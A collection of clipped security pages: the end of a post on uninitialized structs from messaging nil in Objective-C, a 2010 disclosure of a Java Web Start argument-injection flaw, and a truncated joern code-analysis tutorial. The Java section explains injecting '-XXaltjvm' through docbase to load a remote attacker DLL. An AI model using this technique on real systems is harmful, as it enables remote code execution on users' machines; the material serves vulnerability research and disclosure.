NSLog\(@"testInt = %d\n", testStructure1.testInt2\);  
NSLog\(@"testInt = %d\n", testStructure1.testInt3\);  
NSLog\(@"testInt = %d\n", testStructure1.testInt4\);  
NSLog\(@"testInt = %d\n", testStructure1.testInt5\);  
NSLog\(@"testInt = %d\n", testStructure1.testInt6\);  
NSLog\(@"testInt = %d\n", testStructure1.testInt7\);  
NSLog\(@"testInt = %d\n", testStructure1.testInt8\);  
NSLog\(@"testInt = %d\n", testStructure1.testInt9\);  
NSLog\(@"testInt = %d\n", testStructure1.testInt10\);  
NSLog\(@"testInt = %5.3f\n", testStructure1.testFloat\);  
NSLog\(@"testInt = %5.3f\n", testStructure1.testFloat1\);  
NSLog\(@"testInt = %d\n", testStructure1.testLong1\);  
NSLog\(@"testInt = %d\n", testStructure1.testLong2\);  
NSLog\(@"testBuf = %s\n", testStructure1.testBuf\);  
\}  
  
OK - let's first test it on my developer provisioned iPhone 4S, by compiling
it in Xcode 4.0 - i.e. with GCC 4.2 - since that is Xcode 4.0's default iOS
compiler. What do we get?  
  
2012-11-01 21:12:36.235 sqli\[65340:b303\]  
sayHello returned:  
2012-11-01 21:12:36.237 sqli\[65340:b303\] testInt = 1337  
2012-11-01 21:12:36.238 sqli\[65340:b303\] testInt = 1338  
2012-11-01 21:12:36.238 sqli\[65340:b303\] testInt = 1339  
2012-11-01 21:12:36.239 sqli\[65340:b303\] testInt = 1340  
2012-11-01 21:12:36.239 sqli\[65340:b303\] testInt = 1341  
2012-11-01 21:12:36.240 sqli\[65340:b303\] testInt = 1341  
2012-11-01 21:12:36.241 sqli\[65340:b303\] testInt = 1341  
2012-11-01 21:12:36.241 sqli\[65340:b303\] testInt = 1341  
2012-11-01 21:12:36.242 sqli\[65340:b303\] testInt = 1341  
2012-11-01 21:12:36.243 sqli\[65340:b303\] testInt = 1341  
2012-11-01 21:12:36.244 sqli\[65340:b303\] testInt = 1337.000  
2012-11-01 21:12:36.244 sqli\[65340:b303\] testInt = 1338.100  
2012-11-01 21:12:36.245 sqli\[65340:b303\] testInt = 1337  
2012-11-01 21:12:36.245 sqli\[65340:b303\] testInt = 1338  
2012-11-01 21:12:36.246 sqli\[65340:b303\] testBuf = hello world  
  
2012-11-01 21:12:36.246 sqli\[65340:b303\]  
  
after messaging nil, sayHello returned:  
2012-11-01 21:12:36.247 sqli\[65340:b303\] testInt = 1337  
2012-11-01 21:12:36.247 sqli\[65340:b303\] testInt = 1338  
2012-11-01 21:12:36.248 sqli\[65340:b303\] testInt = 1339  
2012-11-01 21:12:36.249 sqli\[65340:b303\] testInt = 1340  
2012-11-01 21:12:36.249 sqli\[65340:b303\] testInt = 1341  
2012-11-01 21:12:36.250 sqli\[65340:b303\] testInt = 1341  
2012-11-01 21:12:36.250 sqli\[65340:b303\] testInt = 1341  
2012-11-01 21:12:36.251 sqli\[65340:b303\] testInt = 1341  
2012-11-01 21:12:36.252 sqli\[65340:b303\] testInt = 1341  
2012-11-01 21:12:36.252 sqli\[65340:b303\] testInt = 1341  
2012-11-01 21:12:36.253 sqli\[65340:b303\] testInt = 1337.000  
2012-11-01 21:12:36.253 sqli\[65340:b303\] testInt = 1338.100  
2012-11-01 21:12:36.254 sqli\[65340:b303\] testInt = 1337  
2012-11-01 21:12:36.255 sqli\[65340:b303\] testInt = 1338  
2012-11-01 21:12:36.256 sqli\[65340:b303\] testBuf = hello world  
  
Quite as we expected, we end up with a struct full of what was already there
in the return position on the stack - and this just happened to be the return
value from the last call to sayHello. In a complex app, the value would be
somewhat unpredictable.  
  
And now let's compile and run it on my iPhone using Xcode 4.5, where I'm using
its respective default compiler - Apple LLVM. The output:  
  
2012-11-01 21:23:59.561 sqli\[65866:b303\]  
sayHello returned:  
2012-11-01 21:23:59.565 sqli\[65866:b303\] testInt = 1337  
2012-11-01 21:23:59.566 sqli\[65866:b303\] testInt = 1338  
2012-11-01 21:23:59.566 sqli\[65866:b303\] testInt = 1339  
2012-11-01 21:23:59.567 sqli\[65866:b303\] testInt = 1340  
2012-11-01 21:23:59.568 sqli\[65866:b303\] testInt = 1341  
2012-11-01 21:23:59.569 sqli\[65866:b303\] testInt = 1341  
2012-11-01 21:23:59.569 sqli\[65866:b303\] testInt = 1341  
2012-11-01 21:23:59.570 sqli\[65866:b303\] testInt = 1341  
2012-11-01 21:23:59.571 sqli\[65866:b303\] testInt = 1341  
2012-11-01 21:23:59.572 sqli\[65866:b303\] testInt = 1341  
2012-11-01 21:23:59.572 sqli\[65866:b303\] testInt = 1337.000  
2012-11-01 21:23:59.573 sqli\[65866:b303\] testInt = 1338.100  
2012-11-01 21:23:59.574 sqli\[65866:b303\] testInt = 1337  
2012-11-01 21:23:59.574 sqli\[65866:b303\] testInt = 1338  
2012-11-01 21:23:59.575 sqli\[65866:b303\] testBuf = hello world  
  
2012-11-01 21:23:59.576 sqli\[65866:b303\]  
  
after messaging nil, sayHello returned:  
2012-11-01 21:23:59.577 sqli\[65866:b303\] testInt = 0  
2012-11-01 21:23:59.577 sqli\[65866:b303\] testInt = 0  
2012-11-01 21:23:59.578 sqli\[65866:b303\] testInt = 0  
2012-11-01 21:23:59.578 sqli\[65866:b303\] testInt = 0  
2012-11-01 21:23:59.579 sqli\[65866:b303\] testInt = 0  
2012-11-01 21:23:59.579 sqli\[65866:b303\] testInt = 0  
2012-11-01 21:23:59.580 sqli\[65866:b303\] testInt = 0  
2012-11-01 21:23:59.581 sqli\[65866:b303\] testInt = 0  
2012-11-01 21:23:59.581 sqli\[65866:b303\] testInt = 0  
2012-11-01 21:23:59.582 sqli\[65866:b303\] testInt = 0  
2012-11-01 21:23:59.582 sqli\[65866:b303\] testInt = 0.000  
2012-11-01 21:23:59.673 sqli\[65866:b303\] testInt = 0.000  
2012-11-01 21:23:59.673 sqli\[65866:b303\] testInt = 0  
2012-11-01 21:23:59.674 sqli\[65866:b303\] testInt = 0  
2012-11-01 21:23:59.675 sqli\[65866:b303\] testBuf =  
  
Also just as we expected; the Apple LLVM built version gives us all zeroed
struct fields, as the compiler-inserted memset\(\) call guarantees us a zeroed
struct when we message nil.  
  
Now, to be pragmatic, what are some potential security consequences of us
getting junk, uninitialized data back, in real-world applications?  
  
One possible scenario is to consider if we had a method, say, returnDataEntry,
that, for example, returns a struct containing some data and a pointer. We
could make the scenario more detailed, but for argument's sake let's just
assume the structure holds some data and a pointer to some more data.  
  
Consider the following code fragment, in which the developer knows they'll
receive a zeroed structure from returnDataEntry if the
someFunctionThatCanFail\(\)  
call fails:  
  
struct someData \{  
int someInt;  
char someData\[50\];  
void \*myPointer;  
\}  
  
\[ … \]  
  
\- \(struct someData\)returnDataEntry  
\{  
  
struct someData myData;  
memset\(\(void \*\)&myData, 0x00, sizeof\(struct someData\)\); /\* zero it out
\*/  
  
if\(\!someFunctionThatCanFail\(\)\) \{ /\* can fail\! \*/  
/\* something went wrong, return the zeroed struct \*/  
return myData;  
\}  
  
/\* otherwise do something useful \*/  
myData = someUsefulDataFunction\(\);  
return myData;  
\}  
  
In the error case, the developer knows that they can check the contents of the
struct against 0 and therefore know if returnDataEntry ran successfully.  
  
i.e.  
  
myData = \[myObj returnDataEntry\];  
if\(myData.myPointer == NULL\) \{  
/\* the method failed \*/  
\}  
  
/\* otherwise, use the data and pointer \*/  
  
However, if we suppose that the 'myObj' pointer was nil at the time of the
returnDataEntry call, and our app was built with a vulnerable version of
Xcode, the returned structure will be uninitialized, and myData.myPointer
could be absolutely anything, so at this point, we have a dangling pointer
and, therefore, a security bug.  
  
Equally, what if some method is declared to return a structure, and that data
is later sent to a remote server over the network? A scenario like this could
easily result in information leaks, and it's easy to see how that's bad.  
  
Lastly, which is also quite interesting, let's consider some Cocoa APIs that
take structs and process them. We'll take a bog standard structure -
NSDecimal, for example. The NSDecimal structure is defined as:  
  
typedef struct \{  
signed int \_exponent:8;  
unsigned int \_length:4; // length == 0 && isNegative -> NaN  
unsigned int \_isNegative:1;  
unsigned int \_isCompact:1;  
unsigned int \_reserved:18;  
unsigned short \_mantissa\[NSDecimalMaxSize\];  
\} NSDecimal;  
  
It's pretty obvious by those underscores that all fields in NSDecimal are
'private' - that is, they should not be directly used or modified, and their
semantics are subject to change if Apple sees fit. As such, NSDecimal
structures should only be used and manipulated using official NSDecimal APIs.
There's even a length field, which could be interesting.  
  
The fact that all fields in NSDecimal are documented as being private\[3\]
starts to make me wonder whether the NSDecimal APIs are actually safe to call
on malformed NSDecimal structs. Let's test that theory out.  
  
Let's assume we got a garbage NSDecimal structure back from messaging a nil
object at some earlier point in the app, and then we pass this NSDecimal
struct to Cocoa's NSDecimalString\(\) API. We could simulate the situation
with a bit of code like this:  
  
NSDecimal myDecimal;  
  
/\* fill the two structures with bad data \*/  
memset\(&myDecimal, 0x99, sizeof\(NSDecimal\)\);  
  
NSLocale \*usLocale = \[\[NSLocale alloc\]
initWithLocaleIdentifier:@"en\_US"\];  
  
NSDecimalString\(&myDecimal, usLocale\);  
  
What happens?  
  
If we quickly just run this in the iOS Simulator \(x86\), we crash with a
write access violation at the following line in NSDecimalString\(\):  
  
<+0505> mov %al,\(%esi,%edx,1\)  
  
\(gdb\) info reg esi edx  
esi 0xffffffca -54  
edx 0x38fff3f4 956298228  
  
Something has clearly gone wrong here, since there's no way that address is
going to be mapped and writable…  
  
It turns out that the above line of assembly is part of a loop which uses
length values derived from  
the invalid values in our NSDecimal struct. Let's set a breakpoint at the line
above our crashing line, and see what things look like at the first hit of the  
breakpoint, and then, at crash time.  
  
0x008f4275 <+0499> mov -0x11c\(%ebp\),%edx  
0x008f427b <+0505> mov %al,\(%esi,%edx,1\)  
  
\(gdb\) x/x $ebp-0x11c  
0xbffff3bc: 0xbffff3f4  
  
So 0xbffff3f4 is the base address of where the loop is copying data to. And
after the write AV, i.e. at crash time, the base pointer looks like:  
  
\(gdb\) x/x $ebp-0x11c  
0xbffff3bc: 0x38fff3f4  
\(gdb\)  
  
Thus after a little analysis, it becomes apparent that the root cause of the
crash is stack corruption - the most significant byte of the base destination
address is being overwritten \(with a 0x38 byte\) on the stack during the
loop. This is at least a nods towards several Cocoa APIs not being designed to
deal with malformed structs with "private" fields. There are likely to be more
such cases, considering the sheer size of Cocoa.  
  
Although NSDecimalString\(\) is where the crash occurred, I wouldn't really
consider this a bug in the API per se, since it is well-documented that
members of NSDecimal structs  
are private. This could be considered akin to memory corruption bugs caused by
misuse of strcpy\(\) - the bug isn't really in the API as such - it's doing
what is was designed to do - it's the manner in which you used it that
constitutes a bug.  
  
Interestingly, it seems to be possible to detect which compiler an app was
built with by running a strings dump on the Info.plist file found in an app's
IPA bundle.  
  
_Apple LLVM_  
  
sh-3.2\# strings Info.plist | grep compiler  
"com.apple.compilers.llvm.clang.1\_0  
  
_LLVM GCC_  
  
sh-3.2\# strings Info.plist | grep compiler  
com.apple.compilers.llvmgcc42  
  
_GCC_  
  
sh-3.2\# strings Info.plist | grep compiler  
sh-3.2\#  
  
What are the take home notes here? Basically, if you use a method that returns
a structure type, check the object against nil first\! Even if you know YOU'RE
not going to be using a mid-2011 version  
of Xcode, if you post your library on GitHub or similar, how do you know your
code is not going to go into a widely used banking product, for example? - the
developers for which may still be using a slightly older version of Xcode,
perhaps even due to corporate policy.  
  
It'd therefore be a decent idea to include this class of bugs on your secure
code review checklist for iOS applications.  
  
Thanks for reading.  
  
Shaun.  
  
  
\[1\]
http://www.opensource.apple.com/source/objc4/objc4-532/runtime/Messengers.subproj/objc-
msg-arm.s  
  
\[2\]
http://developer.apple.com/library/mac/\#documentation/DeveloperTools/Conceptual/WhatsNewXcode/Articles/xcode\_4\_1.html  
  
\[3\]
https://developer.apple.com/library/mac/\#documentation/Cocoa/Reference/Foundation/Miscellaneous/Foundation\_DataTypes/Reference/reference.html  
  
  
P.S. I've heard that Objective-C apps running on PowerPC platforms can also be
vulnerable to such bugs - except with other return types as well, such as
float and long long. But I can't confirm that, since I don't readily have
access to a system running on the PowerPC architecture.

# Reverse Mode - \[0DAY\] JAVA Web Start Arbitrary command-line injection -
"-XXaltjvm" arbitrary dll loading

**Created:**| _4/15/2010 1:11:10 PM_  
---|---  
**Updated:**| _4/15/2010 1:11:26 PM_  
**Author:**| __  
**Tags:**| _Exploit zeroday Java_  
  
\[0DAY\] JAVA WEB START ARBITRARY COMMAND-LINE INJECTION - "-XXALTJVM" ARBITRARY DLL LOADING | <img src='img/Temp2_6939.png' alt='PDF' />| <img src='img/Temp2_6940.png' alt='Print' />  
---|---|---  
Written by Rubén  
---  
Friday, 09 April 2010  
**Updated Just in case: Tavis' attack also allows remote code execution since
the jar is executing without any restriction.**  
  
**Updated Although Linux contains vulnerable code, I was unable to exploit it
in the same manner. It likely can be exploited by using the proper sequence of
command-line arguments, but the sudden release didn't allow me to research
into this issue.I was focused on Windows at the moment of the disclosure.**  
  
Bye bye my little 0day :\(, Tavis Ormandy did a great job uncovering a big
logic flaw within Java JRE. I discovered that bug and other that affects every
browser few weeks ago so I posted the common "0day++" tweet.  
  
The method by which Java Web Start support has been added to the JRE is not
less than a deliberately embedded backdoor\(I really don't think so\) or a
flagrant case of extreme negligence \(+1\).  
~~It's even more incredible that Sun didn't assess the real risk of this flaw
after Tavis reported it to them.~~ Acknowledged it, but didn't considered
suitable for a OOB patch.  
Let's see:  
  
Java Plugin for Browsers \(Chrome,Firefox...\) - Windows: npjp2.dll \(The same
for IE8's jp2iexp.dll\)

[code]

    .text:6DAA3D96
    .text:6DAA3D96 ; =============== S U B R O U T I N E =======================================
    .text:6DAA3D96
    .text:6DAA3D96 ; Attributes: bp-based frame
    .text:6DAA3D96
    .text:6DAA3D96 sub_6DAA3D96    proc near               ; CODE XREF: sub_6DAA2ACB+170p
    .text:6DAA3D96
    .text:6DAA3D96 Data            = byte ptr -264h
    .text:6DAA3D96 var_263         = byte ptr -263h
    .text:6DAA3D96 ApplicationName = byte ptr -160h
    .text:6DAA3D96 StartupInfo     = _STARTUPINFOA ptr -5Ch
    .text:6DAA3D96 ProcessInformation= _PROCESS_INFORMATION ptr -18h
    .text:6DAA3D96 cbData          = dword ptr -8
    .text:6DAA3D96 hKey            = dword ptr -4
    .text:6DAA3D96 arg_0           = dword ptr  8
    .text:6DAA3D96 arg_4           = dword ptr  0Ch
    .text:6DAA3D96
    .text:6DAA3D96                 push    ebp
    .text:6DAA3D97                 mov     ebp, esp
    .text:6DAA3D99                 sub     esp, 264h
    .text:6DAA3D9F                 push    edi
    .text:6DAA3DA0                 lea     eax, [ebp+hKey]
    .text:6DAA3DA3                 push    eax             ; phkResult
    .text:6DAA3DA4                 push    20019h          ; samDesired
    .text:6DAA3DA9                 xor     edi, edi
    .text:6DAA3DAB                 push    edi             ; ulOptions
    .text:6DAA3DAC                 push    offset SubKey   ; "JNLPFile\\Shell\\Open\\Command"
    .text:6DAA3DB1                 push    80000000h       ; hKey
    .text:6DAA3DB6                 mov     [ebp+cbData], 104h
    .text:6DAA3DBD                 call    ds:RegOpenKeyExA
    .text:6DAA3DC3                 test    eax, eax
    .text:6DAA3DC5                 jz      short loc_6DAA3DCE
    .text:6DAA3DC7                 xor     eax, eax
    .text:6DAA3DC9                 jmp     loc_6DAA3F16
    
    
[/code]

  
  
The default handler is "javaws.exe",continuing...  
  

[code]

    .text:6DAA3EB7                 push    [ebp+arg_4]
    .text:6DAA3EBA                 push    eax
    .text:6DAA3EBB                 push    offset aSDocbaseSS ; "\"%s\" -docbase %s %s"
    .text:6DAA3EC0                 push    esi             ; LPSTR
    .text:6DAA3EC1                 call    ebx ; wsprintfA
    .text:6DAA3EC3                 add     esp, 14h
    .text:6DAA3EC6                 jmp     short loc_6DAA3ED4
    .text:6DAA3EC8 ; ---------------------------------------------------------------------------
    .text:6DAA3EC8
    .text:6DAA3EC8 loc_6DAA3EC8:                           ; CODE XREF: sub_6DAA3D96+11Fj
    .text:6DAA3EC8                 push    eax
    .text:6DAA3EC9                 push    offset aSS_0    ; "\"%s\" %s"
    .text:6DAA3ECE                 push    esi             ; LPSTR
    .text:6DAA3ECF                 call    ebx ; wsprintfA
    .text:6DAA3ED1                 add     esp, 10h
    .text:6DAA3ED4
    .text:6DAA3ED4 loc_6DAA3ED4:                           ; CODE XREF: sub_6DAA3D96+130j
    .text:6DAA3ED4                 push    11h
    .text:6DAA3ED6                 pop     ecx
    .text:6DAA3ED7                 xor     eax, eax
    .text:6DAA3ED9                 lea     edi, [ebp+StartupInfo]
    .text:6DAA3EDC                 rep stosd
    .text:6DAA3EDE                 lea     eax, [ebp+ProcessInformation]
    .text:6DAA3EE1                 push    eax             ; lpProcessInformation
    .text:6DAA3EE2                 xor     ebx, ebx
    .text:6DAA3EE4                 lea     eax, [ebp+StartupInfo]
    .text:6DAA3EE7                 push    eax             ; lpStartupInfo
    .text:6DAA3EE8                 push    ebx             ; lpCurrentDirectory
    .text:6DAA3EE9                 push    ebx             ; lpEnvironment
    .text:6DAA3EEA                 push    ebx             ; dwCreationFlags
    .text:6DAA3EEB                 push    ebx             ; bInheritHandles
    .text:6DAA3EEC                 push    ebx             ; lpThreadAttributes
    .text:6DAA3EED                 push    ebx             ; lpProcessAttributes
    .text:6DAA3EEE                 push    esi             ; lpCommandLine
    .text:6DAA3EEF                 lea     eax, [ebp+ApplicationName]
    .text:6DAA3EF5                 push    eax             ; lpApplicationName
    .text:6DAA3EF6                 mov     [ebp+StartupInfo.cb], 44h
    .text:6DAA3EFD                 call    ds:CreateProcessA
    
    
[/code]

  
  
So basically the Java-Plugin Browser is running "javaws.exe" without
validating command-line parameters. These parameters can be controlled by
attackers via specially crafted embed html tags within a webpage.  
  
Let's see JavaDeploy.txt:  
  

[code]

     if (browser == 'MSIE') {
    
                document.write('<' + 
                    'object classid="clsid:8AD9C840-044E-11D1-B3E9-00805F499D93" ' +
                    'width="0" height="0">' +
                    '<' + 'PARAM name="launchjnlp" value="' + jnlp + '"' + '>' +
                    '<' + 'PARAM name="docbase" value="' + jnlpDocbase + '"' + '>' +
                    '<' + '/' + 'object' + '>');
            } else if (browser == 'Netscape Family') {
    
                document.write('<' +
                    'embed type="application/x-java-applet;jpi-version=' +
                    deployJava.firefoxJavaVersion + '" ' +
                    'width="0" height="0" ' +
                    'launchjnlp="' +  jnlp + '"' +
                    'docbase="' +  jnlpDocbase + '"' +
                    ' />');
            }
    
    
    
[/code]

That's it. This is how JAVA Plugin identifies Java Web Start content \(jnlp
files\).So We can inject command-line parameters through "docbase" tag and
even "launchjnlp".  
  
**What type of arguments can we abuse to compromise a system?**  
  
java.exe and javaw.exe support an undocumented-hidden command-line parameter
"-XXaltjvm" and curiosly also "-J-XXaltjvm" \(see -J switch in javaws.exe\).
This instructs Java to load an alternative JavaVM library \(jvm.dll or
libjvm.so\) from the desired path. Game over. We can set -XXaltjvm=\\\IP\evil
, in this way javaw.exe will load our evil jvm.dll. Bye bye ASLR, DEP...  
  
  
  
**Linux**  
  
Same logic error, check this function "\_Z10launchJNLPPKcS0" in libnpjp2.so  
  

[code]

    .text:0000A956                 call    _fork
    .text:0000A95B                 test    eax, eax
    .text:0000A95D                 jnz     loc_A813
    .text:0000A963                 mov     [esp+3048h+var_3048], esi
    .text:0000A966                 lea     eax, [ebp+var_3038]
    .text:0000A96C                 mov     [esp+3048h+var_3044], eax
    .text:0000A970                 call    _execv
    
    
[/code]

  
  
**MACOSX**  
  
Not vulnerable.  
  
**Workaround**  
  
Disable javaws/javaws.exe in linux and Windows by any mean. Disable Deployment
Toolkit to avoid unwanted installation as stated in Tavis' advisory.

# PDF - www.cs.princeton.edu

**Created:**| _9/4/2017 9:15:29 AM_  
---|---  
**Updated:**| _9/4/2017 9:15:29 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  
<img src='img/hotpets17.pdf' />  

# Tutorial · fabsx00/joern Wiki

**Created:**| _11/6/2013 10:08:47 AM_  
---|---  
**Updated:**| _11/6/2013 10:08:47 AM_  
**Author:**| __  
**Tags:**| _bookmark Graphs_  
  

# **T** utorial****

Once you have installed joern and imported code, you are ready to work with
the database**.** In the following, a brief overview of the database content
will be given, you will see how to formulate a query to find missing checks of
pointers returned by malloc and learn some rudimentary Gremlin while you are
at it**.** However, I highly recommend to also read the Gremlin documentation
**.**

To begin, please import some source code as follows:

[code]

    $ cd $JOERN
    $ java -jar bin/joern.jar $CODE_DIR/
    
[/code]

Next, start the database server in a second terminal

[code]

    $ NEO4J/bin/neo4j console
    
[/code]

and change into libjoern/python:

[code]

    $ cd $JOERN/libjoern/python
    
[/code]

##  The REST API****

The Neo4J server offers a web interface and a web-based API \(REST API\) to
explore and query the database**.** Once your database server has been
launched, point your browser to

[code]

    http://localhost:7474/db/data/node/0
    
[/code]

This is the "reference node", which is the root node of the graph
database**.** Starting from this node, the entire database contents can be
accessed**.** In particular, you can get an overview of all existing edge
types as well as the properties attached to nodes and edges**.**

Of course, in practice, you will not want to use your browser to query the
database**.** Instead, you can use py2neo to access the REST API using Python
as we will do in the following**.**

##  The Directory Hierarchy****

**Inspecting node properties**.**** Let's begin by writing a small python-
script, which outputs all nodes directly connected to the root node:

[code]

    import sys, os
    sys.path.append(os.getcwd())
    from libjoern import JoernSteps
    j = JoernSteps()
    
    # Syntax:
    # g: a reference to the neo4j graph
    # g.v(id): retrieve node by id**.**
    # g.v(id).out(): all nodes immediately
    # connected to the node by an
    # outgoing edge**.**
    
    query = """ g.v(0).out() """
    for x in j.executeGremlinCmd(query): print x['data']
    
[/code]

Place this script in libjoern/python/examples/explore**.** py and run it:

[code]

      $ python2 **.** /examples/foo.py
    
      {u'type': u'Directory', u'filepath': u'$CODE_DIR'}
    
[/code]

If this works, you have successfully injected a Gremlin script into the neo4j
database using the REST API**.** Congratulations, btw.

As you can see from the output, the reference node has a single child
node**.** This node has two 'attributes': 'type' and 'filepath'**.** In the
joern database, each node has a 'type', in this case 'Directory'**.**
Directory nodes in particular have a second attribute, 'filepath', which
stores the complete path to the directory represented by this node**.**

**Inspecting Edge Types**.**** Let's see where we can get by expanding
outgoing edges:

[code]

    import sys, os
    sys.path.append(os.getcwd())
    from libjoern import JoernSteps
    j = JoernSteps()
    
    # Syntax
    # .outE(): outgoing Edges
    
    query = """ g.v(0).out().outE() """
    for x in j.executeGremlinCmd(query): print x['type']
[/code]

[code]

     $ python2 **.** /examples/explore**.** py | sort | uniq -c
    
    139 IS_PARENT_DIR_OF
    
[/code]

This shows: the Directory node itsself merely stores a filepath, however, it
is connected to the rest of the directory hierarchy by edges of type
'IS\_PARENT\_DIR\_OF', and thus its position in the directory hierarchy is
encoded in the graph structure**.**

**Filtering**.**** Directory nodes are connected to two types of nodes: other
directory nodes and file nodes**.** Let's visit only those files placed
directly in the libpurple directory:

[code]

    # Syntax
    # .filter(closure): allows you to filter incoming objects using the
    # supplied closure, e.g., the anonymous function { it.type ==
    # 'File'}**.** 'it' is the incoming pipe, which means you can treat it
    # just like you would treat the return-value of out()**.**
    
    query = """ g.v(0).out().out().filter{ it.type == 'File' } """
    for x in j.executeGremlinCmd(query):  print x['data']
[/code]

From here on, let's see where file nodes point us:

[code]

    query = """ g.v(0).out().out().filter{ it.type == 'File' }.out().type """
    for x in j.executeGremlinCmd(query): print x
[/code]

File nodes are linked to all definitions they contain, i.e., type, variable
and function definitions and this is where things start to become
interesting**.**

##  The Node Index****

Before we discuss function definitions, let's quickly take a look at the node
index, which you will probably need to make use of in all but the most basic
scripts**.** Instead of walking the graph database from its root node, you can
make use of the node index to lookup nodes by their properties**.** Under the
hood, this index is implemented as an Apache Lucene Index and thus you can
make use of the full Lucene query language to retrieve nodes**.** Let's see
some examples**.**

**Lookups by a single attribute**.**** Lookups of nodes by a single attribute
can be expressed elegantly using Gremlin**.** As an example, consider the
following query to lookup all functions of the code base:

[code]

    query = """ g.idx('nodeIndex')[[type:'Function']] """
    
    for x in j.executeGremlinCmd(query): print x
[/code]

**Arbitrary Lucene Queries** Since the node index is an Apache Lucene index,
you can use the Lucene query language to formulate more evolved queries \(see
http://lucene.apache.org/core/2\_9\_4/queryparsersyntax.html \)**.**
Unfortunately, using arbitrary lucene queries via Gremlin is rather
clumsy**.** As an example, consider the following query to retrieve the ids
all functions matching _alloc_**.**

[code]

    query = """
    
    luceneQuery = 'type:"Function" AND functionName:*alloc*'
    
    new com.tinkerpop.blueprints.pgm.impls.neo4j.util.Neo4jVertexSequence(
      g.getRawGraph().index().forNodes("nodeIndex")
      .query(luceneQuery), g)**.** _().id
    """
    
    for x in j.executeGremlinCmd(query): print x
[/code]

Fortunately, libjoern offers a shorthand to express queries of this kind:

[code]

    query = """ queryNodeIndex('type:"Function" AND functionName:*alloc*')**.** id """
    
    for x in j.executeGremlinCmd(query): print x
[/code]

**Mid-query lookups**.**** In the previous example, the index was used to
obtain start nodes for a query**.** However, in many cases, it is necessary to
perform index-lookups in the middle of a query based on attributes of the
nodes traversed so far**.** libjoern defines a 'queryNodeIndex'-step for this
as well, which takes a Lucene query as input and returns all nodes matching
the query**.** As an example, the following query returns the code of all
Assignment expressions in functions matching _create_**.** Note that
AssignmentExpr-nodes are AST-nodes, which we will discuss in the next
section**.**

[code]

    query = """
      queryNodeIndex('type:"Function" AND functionName:*create*')**.** id
      .transform{ 'functionId:' + it + ' AND type:AssignmentExpr' }
      .queryToNodes().code
    """
    
    for x in j.executeGremlinCmd(query): print x
[/code]

##  Function Definitions****

One of the core ideas of joern is to store different graph representations of
code, suited for different code analysis tasks, in a single edge-labeled
graph**.** This allows to switch between different representations in a single
database query, which enables us to formulate very powerful queries as we will
see in this section**.** For functions, joern gives us access to the following
graphs:

  * Abstract Syntax Trees \(AST\)
  * Control Flow Graphs \(CFG\)
  * Interprocedural Control Flow Graphs \(ICFG\)
  * USE/DEF Graphs \(UDG\)
  * Data Dependency Graphs \(DDG\)

Let's see how we can leverage some of these by incrementally building a simple
sample query: Finding calls to malloc where the return value is dereferenced
but not checked for NULL**.**

By default joern only generates ASTs and CFGs, so please shutdown the database
and run the following tools from the $JOERN directory first:

[code]

    $ cd $JOERN
    $ java -jar bin/udg.jar
    $ java -jar bin/ddg.jar
    
[/code]

Note that this query will be intraprocedural and thus we do not generate
interprocedural control flow graphs byt only USE/DEF Graphs and Data
Dependency Graphs**.**

**Retrieving AST nodes.** First, we retrieve all l-values of assignments from
the AST where malloc is a direct right value:

[code]

    query = """
       queryNodeIndex('type:CallExpression AND code:malloc*')
       **.** in('IS_AST_PARENT').filter{ it.type == 'AssignmentExpr'}
       .assignToLval().code
    """
    for x in j.executeGremlinCmd(query): print x
[/code]

Note, that 'assignToLval' is simply a step defined in libjoern which walks you
to the l-value node from an assignment node**.** Since retrieving calls by
name is a common operation, a shorthand has been defined in libjoern:
getCallsTo:

[code]

    query = """
       getCallsTo('malloc')**.** in('IS_AST_PARENT')
       .filter{ it.type == 'AssignmentExpr'}
       .assignToLval().code
    """
    for x in j.executeGremlinCmd(query): print x
[/code]

**User-defined steps**.**** Defining shorthands, so called 'user defined
steps', allows you to reduce duplicate code in your queries and adapt the
query language to your needs**.** It also greatly increases readability, so I
would highly recommend making use of this language feature**.** For more
information, see the Gremlin documentation \[x\] and the steps pre-defined in
libjoern \[x\]**.**

**Filtering Calls in Conditions**.**** Next, we want to make sure that all
calls to malloc directly inside a condition are discarded, since these are
checked for NULL**.** To do this, we filter if the sub-tree of the AST rooted
at this basic block is a 'Condition' node**.** Before we do this, however, we
save the l-value in the variable 'lval' using a side-effect**.** This allows
us to make use of the l-val in subsequent steps**.**

[code]

    query = """
       getCallsTo('malloc')**.** in('IS_AST_PARENT')
       .filter{ it.type == 'AssignmentExpr'}
       .assignToLval().sideEffect{lval = it.code}
       .astNodeToBasicBlockRoot().filter{ it.type **!** = 'Condition'}.code
    
    """
    for x in j.executeGremlinCmd(query): print x
[/code]

**Transition into the DDG**.**** So far, we have only briefly touched the
basic block of this instruction and have only considered the information in
the AST**.** Now we do something interesting: We will jump from the AST into
the Data Dependency Graph \(DDG\) using the 'astNodeToBasicBlock' step**.** We
do this because the DDG allows us to easily inspect data flow**.**

**Data Flow Analysis.** The Data Dependency Graph makes explicit which basic
blocks are reached by the definitions of variables \(see "Reaching
Definitions"\), and by definition, compiler folks mean "Assignment"**.** It is
thus very easy for us to see where the pointer initialized by malloc is used
before being reassigned**.** We do this by following edges of type "REACHES"
in the data-dependency graph:

[code]

    query = """
       getCallsTo('malloc')**.** in('IS_AST_PARENT')
       .filter{ it.type == 'AssignmentExpr'}
       .assignToLval().sideEffect{lval = it.code}
       .astNodeToBasicBlockRoot().filter{ it.type **!** = 'Condition'}
       .astNodeToBasicBlock()
       .outE('REACHES').filter{it.var.equals(lval)}.inV()
    """
    for x in j.executeGremlinCmd(query): print x
[/code]

The last line deserves an explanation: We expand outgoing edges of type
'REACHES' and keep only those, which are labeled by the value we are tracing
\(lval\)**.** The step 'inV' then simply returns the node on the other end of
the 'REACHES' edge**.** To simplify future queries, we can again place this
code in a step: reachesUnaltered, however, notice that the syntax becomes a
bit clumsy when passing more than one variable to steps \(I'm pretty sure
there is a better way\)**.**

[code]

    query = """
       getCallsTo('malloc')**.** in('IS_AST_PARENT')
       .filter{ it.type == 'AssignmentExpr'}
       .assignToLval().sideEffect{lval = it.code}
       .astNodeToBasicBlockRoot().filter{ it.type **!** = 'Condition'}
       .astNodeToBasicBlock().transform{ [it,lval] }.reachesUnaltered()
    """
    for x in j.executeGremlinCmd(query): print x
[/code]

**Grouping by call**.**** We group by call id using the Gremlin step
'groupBy'**.** This is a so called side-effect step, which fills the
dictionary as a side effect but returns the element just processed**.** To
obtain the result of the last side-effect \(i**.** e., the dictionary\), the
Gremlin step 'cap' is used**.** As a result. we obtain a dictionary where keys
are call-ids and values are lists of basic blocks accessing the l-value**.**

[code]

    query = """
